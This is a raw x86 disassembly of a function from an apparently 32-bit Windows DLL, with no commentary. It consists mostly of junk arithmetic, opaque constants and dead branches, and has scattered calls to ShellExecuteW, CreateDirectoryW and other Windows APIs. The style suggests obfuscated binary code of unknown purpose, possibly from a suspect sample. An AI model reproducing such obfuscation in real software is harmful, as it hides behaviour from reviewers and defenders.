lea ecx, [ebp - 0x460]
call fcn.1001a399
mov dword [eax], 0xf3ccd246
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1001d151
xor eax, eax
push eax
lea ecx, [ebp - 0x460]
call fcn.1001a399
lea ecx, [ebp - 0x460]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
xor eax, eax
push eax
call fcn.1001a399
xor eax, eax
lea ecx, [ebp - 0x32c]
push eax
call fcn.1001a399
push 0xfffffffffffffff7
pop ecx
mov dword [eax], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x1b8]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x32c]
push dword [ebp - 0x18]
call fcn.1001a399
cmp dword [eax], 0
je 0x1001d283
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x32c]
xor eax, eax
push eax
call fcn.1001a399
xor eax, eax
lea ecx, [ebp - 0x460]
push eax
call fcn.1001a399
push dword [ebp - 0x18]
lea ecx, [ebp - 0x32c]
call fcn.1001a399
push dword [ebp - 0x18]
lea ecx, [ebp - 0x32c]
call fcn.1001a399
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, 0xfea1e173
lea ecx, [ebp - 0x460]
setge dl
sub edx, dword [ebp - 0x18]
neg edx
push ebx
sbb edx, edx
inc edx
cmp eax, edx
sbb esi, esi
neg esi
call fcn.1001a399
mov ecx, 0xaaf09d89
cmp ecx, esi
push 2
sbb ecx, ecx
inc ecx
pop esi
cmp dword [eax], ecx
jge 0x1001d265
push esi
lea ecx, [ebp - 0x460]
call fcn.1001a399
xor eax, eax
cmp dword [ebp - 0x1b8], eax
jne 0x1001d272
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x32c]
push dword [ebp - 0x18]
call fcn.1001a399
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp eax, ecx
lea ecx, [ebp - 0x32c]
setle dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.1001a399
lea ecx, [ebp - 0x460]
and dword [eax], 0
mov eax, dword [ebp - 0x40]
neg eax
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xe
call fcn.1001a394
dec dword [ebp - 0x18]
jns 0x1001d135
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001d2dd
call dword [sym.imp.USER32.dll_GetMessageTime]
xor eax, eax
dec dword [ebp - 0x1b8]
cmp dword [ebp - 0x1b8], 0xffffffe7
jg 0x1001d118
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001d30d
push eax
push eax
push 0xf57
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 0xb
call fcn.1001a394
xor eax, eax
lea ecx, [ebp - 0xc7c]
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x50]
push 3
mov dword [eax], ecx
lea ecx, [ebp - 0x604]
mov dword [ebp - 0x10], 0x632667a8
call fcn.1001a32c
mov byte [ebp - 4], 0x10
or ecx, 0xffffffff
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x3c], ecx
push 7
pop eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x20], 0xb42b08f1
mov dword [ebp - 0x24], 0x30fb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001d398
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x604]
call fcn.1001a399
mov dword [eax], 0xdc164f94
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001d376
xor eax, eax
or ecx, 0xffffffff
cmp dword [ebp - 0x10], ebx
jbe 0x1001d52d
mov dword [ebp - 0x44], 0xba80
mov dword [ebp - 0x38], 0xf314
mov dword [ebp - 0x48], 0x3d9c8c74
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xbd4]
push esi
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1001d3f1
push dword [ebp - 0x10]
lea ecx, [ebp - 0xbd4]
call fcn.1001a399
mov dword [eax], 0xe495ee35
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001d3d3
xor eax, eax
mov dword [ebp - 0x10], 0x11
cmp dword [ebp - 0x10], 3
jl 0x1001d4a6
jmp 0x1001d406
xor eax, eax
mov dword [ebp - 0x48], 3
lea ecx, [ebp - 0xe1c]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0x7b400765
mov dword [ebp - 0x38], eax
push esi
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], eax
jmp 0x1001d44b
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xe1c]
call fcn.1001a399
mov dword [eax], 0xfeb4e522
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001d434
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
imul eax, eax, 0x5eb2
add eax, dword [ebp - 0x48]
jne 0x1001d46f
cmp dword [ebp - 0x3c], eax
je 0x1001d471
mov eax, ebx
add eax, 0xffff161b
lea ecx, [ebp - 0xe1c]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xbc795c38
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x50]
mov byte [ebp - 4], 0x11
call fcn.1001a394
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jge 0x1001d404
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0xbd4]
push ebx
call fcn.1001a399
mov dword [eax], esi
test esi, esi
je 0x1001d4be
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x604]
mov dword [ebp - 0x48], 0x709c1800
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
push 2
call fcn.1001a399
push ebx
lea ecx, [ebp - 0x604]
mov esi, eax
call fcn.1001a399
mov esi, dword [esi]
lea ecx, [ebp - 0x604]
push 2
imul esi, dword [eax]
call fcn.1001a399
xor ebx, ebx
lea ecx, [ebp - 0x604]
cmp esi, dword [eax]
setge bl
xor eax, eax
inc eax
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0xbd4]
setg dl
mov dword [eax], edx
call fcn.1001a394
xor ebx, ebx
inc ebx
jmp 0x1001d54b
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001d54b
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
lea ecx, [ebp - 0x604]
call fcn.1001a394
mov dword [ebp - 0x18], 0x4561
xor eax, eax
push 0xfffffffffffffffc
pop esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x10], 0xfffffff9
mov dword [ebp - 0x44], 0xf13bcf59
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x10], eax
jmp 0x1001d58c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x984], 0xfffffffe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1001d57b
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setge dl
xor eax, eax
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], eax
je 0x1001d5bf
mov edx, ebx
cmp dword [ebp - 0x20], eax
jne 0x1001d5c1
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xcbeb
setl cl
xor eax, eax
cmp ecx, edx
setne al
test eax, eax
je 0x1001d5e0
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1001d5e2
mov eax, ebx
neg eax
jne 0x1001d5ed
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1001d5f0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x980], 0xd91f06e8
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], esi
jne 0x1001d60e
mov ecx, eax
cmp dword [ebp - 0x10], eax
je 0x1001d610
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0x31], al
mov dword [ebp - 0x1c], 0x86f8c7b5
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x20], 0xfff8
mov dword [ebp - 0x10], eax
jmp 0x1001d663
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x74], 9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1001d655
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
neg eax
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jl 0x1001d698
mov edx, ebx
cmp dword [ebp - 0x20], eax
jne 0x1001d69a
mov edx, eax
mov eax, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setne cl
xor ebx, ebx
imul ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
imul ecx, ecx, 0x5c6a
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x74]
xor eax, eax
cmp dword [ebp - 0x24], 0x1210
jne 0x1001d74d
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1001d718
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x74], 0
jne 0x1001d716
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x74], ecx
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1001d6f4
xor eax, eax
or ebx, 0xffffffff
cmp byte [ebp - 0x31], 0
je 0x1001d8a1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x10], 0xc3d4e703
mov dword [ebp - 0x24], 0x10
cmp dword [ebp - 0x24], 0x11
jl 0x1001d88d
xor ebx, ebx
mov edi, 0xffff
inc ebx
jmp 0x1001d7f9
mov dword [ebp - 0x48], 0xdaf0b56f
mov dword [ebp - 0x48], 0x4ce9d06
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1001d77d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x111c], 0x62cf9e8b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001d764
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1001d79f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa9c], 0x512ed403
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001d786
xor eax, eax
mov dword [ebp - 0x48], eax
xor edx, edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xa9c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa9c]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x48], eax
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x1118], eax
mov eax, dword [ebp - 0xa94]
imul ecx, eax, 0xfffffff7
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
or ebx, 0xffffffff
cmp eax, ebx
setge cl
xor eax, eax
cmp ecx, edx
setne al
sub eax, dword [ebp - 0x74]
mov dword [ebp - 0x1c], eax
xor eax, eax
jmp 0x1001d71b
xor eax, eax
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x9fc], ebx
mov dword [ebp - 0x9f8], ebx
mov dword [ebp - 0x9f4], ebx
mov dword [ebp - 0x9f0], ebx
cmp dword [ebp - 0x24], eax
jne 0x1001d84b
mov eax, dword [ebp - 0x24]
cmp edi, eax
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
inc ecx
inc dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
sete dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xfff9
jbe 0x1001d84b
xor eax, eax
jmp 0x1001d84d
mov eax, ebx
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x10], 3
cmp dword [ebp - 0x10], eax
jl 0x1001d877
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x9fc]
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9fc], ecx
dec dword [ebp - 0x10]
jns 0x1001d85e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x11
jge 0x1001d7f7
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
or ebx, 0xffffffff
push 0x1f66
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
lea ecx, [ebp - 0xc7c]
mov dword [ebp - 4], ebx
call fcn.1001a394
xor eax, eax
lea ecx, [ebp - 0x78c]
mov dword [ebp - 0x2c], eax
xor edi, edi
mov eax, 0x66bafcb1
inc edi
mov dword [ebp - 0x86c], eax
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x864], eax
mov dword [ebp - 0x860], eax
push edi
call fcn.1001a32c
xor eax, eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x1001d90b
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x12b8], 0xf3617394
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x1001d8f2
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1001d92d
push dword [ebp - 0x30]
lea ecx, [ebp - 0x78c]
call fcn.1001a399
mov dword [eax], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1001d913
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1001d94f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1438], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1001d936
xor eax, eax
mov esi, edi
cmp dword [ebp - 0x2c], eax
jne 0x1001d958
mov esi, eax
mov edx, 0xa0b8
mov dword [ebp - 0x868], edx
mov dword [ebp - 0x12b4], edx
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
add eax, edx
inc ecx
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0x78c]
setl bl
xor eax, eax
push eax
call fcn.1001a399
xor edx, edx
lea ecx, [ebx + 6]
push 7
mov dword [eax], ebx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setl dl
xor eax, eax
cmp esi, edx
setl al
mov dword [ebp - 0x2c], eax
pop eax
mov dword [ebp - 0x2c], eax
jmp 0x1001dad7
mov dword [ebp - 0x18], 0x2b90f998
mov dword [ebp - 0x18], 0x18
jmp 0x1001da5f
push edi
lea ecx, [ebp - 0x5a4]
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1001d9fd
push dword [ebp - 0x10]
lea ecx, [ebp - 0x5a4]
call fcn.1001a399
mov dword [eax], 0x42206dd2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1001d9df
xor eax, eax
push eax
lea ecx, [ebp - 0x5a4]
call fcn.1001a399
mov dword [eax], 0xf
jmp 0x1001da3a
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001da2c
push edi
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
xor eax, eax
push eax
lea ecx, [ebp - 0x5a4]
call fcn.1001a399
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x5a4]
push eax
call fcn.1001a399
cmp dword [eax], 0xd
jl 0x1001da11
lea ecx, [ebp - 0x5a4]
mov byte [ebp - 4], 0x13
call fcn.1001a394
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff9
jg 0x1001d9c5
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1001da95
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, dword [ebp - 0x868]
je 0x1001da8f
cmp dword [ebp - 0x864], eax
je 0x1001da93
mov esi, edi
jmp 0x1001da97
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x78c]
call fcn.1001a399
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, esi
lea ecx, [ebp - 0x78c]
setle dl
xor ebx, ebx
cmp dword [eax], edx
setle bl
xor eax, eax
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x2c]
add ecx, 0x66409095
add ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1001d9b2
or ebx, 0xffffffff
lea ecx, [ebp - 0x78c]
mov dword [ebp - 4], ebx
call fcn.1001a394
push 2
pop esi
xor eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1001db16
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11f0], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001db02
xor eax, eax
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], eax
jl 0x1001dbaf
push 3
lea ecx, [ebp - 0xab4]
call fcn.1001a32c
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], eax
jmp 0x1001db4d
push dword [ebp - 0x10]
call fcn.1001a399
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0xab4]
jl 0x1001db40
push esi
call fcn.1001a399
inc dword [eax]
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1001db96
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001db7d
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001db91
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1001db6b
lea ecx, [ebp - 0xab4]
mov dword [ebp - 4], ebx
call fcn.1001a394
dec dword [ebp - 0x24]
jns 0x1001db22
xor eax, eax
mov dword [ebp - 0x24], 0xe
jmp 0x1001dbd7
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001dbd4
push 0x16d8
push 0x1993
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x12
jge 0x1001dbb8
mov dword [ebp - 0x1c], 0x58d32ffa
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x48], 0x9642e40c
mov dword [ebp - 0x3c], 0xa20b2878
mov dword [ebp - 0x10], eax
jmp 0x1001dc0e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12d0], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1001dc01
mov eax, dword [ebp - 0x1c]
mov ecx, 0xe9e84363
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
push 7
sbb eax, eax
neg eax
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setl dl
xor ecx, ecx
mov dword [ebp - 0x12d0], edx
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x14a5
setne al
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg bl
xor ecx, ecx
cmp eax, ebx
setg cl
xor edx, edx
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
xor eax, eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x1c], 0x5031
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x20], 0xfdadf860
mov dword [ebp - 0x3c], 0x506ed55c
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1001dccd
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe78], 0xc178
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1001dcb5
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001dcde
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
cmp edx, 0x9c8d
setl cl
sub ecx, 0xfffffff8
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne bl
neg ebx
neg ebx
sbb ebx, ebx
xor edx, edx
neg ebx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, edi
setle cl
add ecx, dword [ebp - 0x1c]
jne 0x1001dd3f
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1001dd49
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
je 0x1001dd67
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1001dd69
mov eax, dword [ebp - 0x10]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001dd7b
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
xor eax, eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x838]
mov eax, 0x66bafcb1
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x880], eax
push edi
call fcn.1001a32c
xor eax, eax
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x1001ddd2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x12e8], 0xf3617394
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x1001ddb9
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1001ddf7
push dword [ebp - 0x30]
lea ecx, [ebp - 0x838]
call fcn.1001a399
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1001ddda
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1001de19
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x13e4], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1001de00
xor eax, eax
mov esi, edi
cmp dword [ebp - 0x2c], eax
jne 0x1001de22
mov esi, eax
mov edx, 0xa0b8
mov dword [ebp - 0x888], edx
mov dword [ebp - 0x12e4], edx
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
add eax, edx
inc ecx
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0x838]
setl bl
xor eax, eax
push eax
call fcn.1001a399
xor edx, edx
lea ecx, [ebx + 6]
push 7
mov dword [eax], ebx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setl dl
xor eax, eax
cmp esi, edx
setl al
mov dword [ebp - 0x2c], eax
pop eax
mov dword [ebp - 0x2c], eax
jmp 0x1001dfa1
mov dword [ebp - 0x18], 0x2b90f998
mov dword [ebp - 0x18], 0x18
jmp 0x1001df29
push edi
lea ecx, [ebp - 0x664]
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1001dec7
push dword [ebp - 0x10]
lea ecx, [ebp - 0x664]
call fcn.1001a399
mov dword [eax], 0x42206dd2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1001dea9
xor eax, eax
push eax
lea ecx, [ebp - 0x664]
call fcn.1001a399
mov dword [eax], 0xf
jmp 0x1001df04
xor eax, eax
lea ecx, [ebp - 0x664]
push eax
call fcn.1001a399
cmp dword [eax], 0xd
jl 0x1001dedb
cmp dword [ebp - 0x18], 0xfffffff9
jg 0x1001de8f
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1001df5f
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, dword [ebp - 0x888]
je 0x1001df59
cmp dword [ebp - 0x884], eax
je 0x1001df5d
mov esi, edi
jmp 0x1001df61
mov esi, eax
push eax
lea ecx, [ebp - 0x838]
call fcn.1001a399
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, esi
lea ecx, [ebp - 0x838]
setle dl
xor ebx, ebx
cmp dword [eax], edx
setle bl
xor eax, eax
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x2c]
add ecx, 0x66409095
add ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1001de7c
or ebx, 0xffffffff
lea ecx, [ebp - 0x838]
mov dword [ebp - 4], ebx
call fcn.1001a394
mov dword [ebp - 0x20], 0xfffb
lea ecx, [ebp - 0x5bc]
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x1c], 0x994b748a
push edi
call fcn.1001a32c
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x48], 0xcd021aa2
push 5
pop eax
mov dword [ebp - 0x3c], 0x1639
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1001e010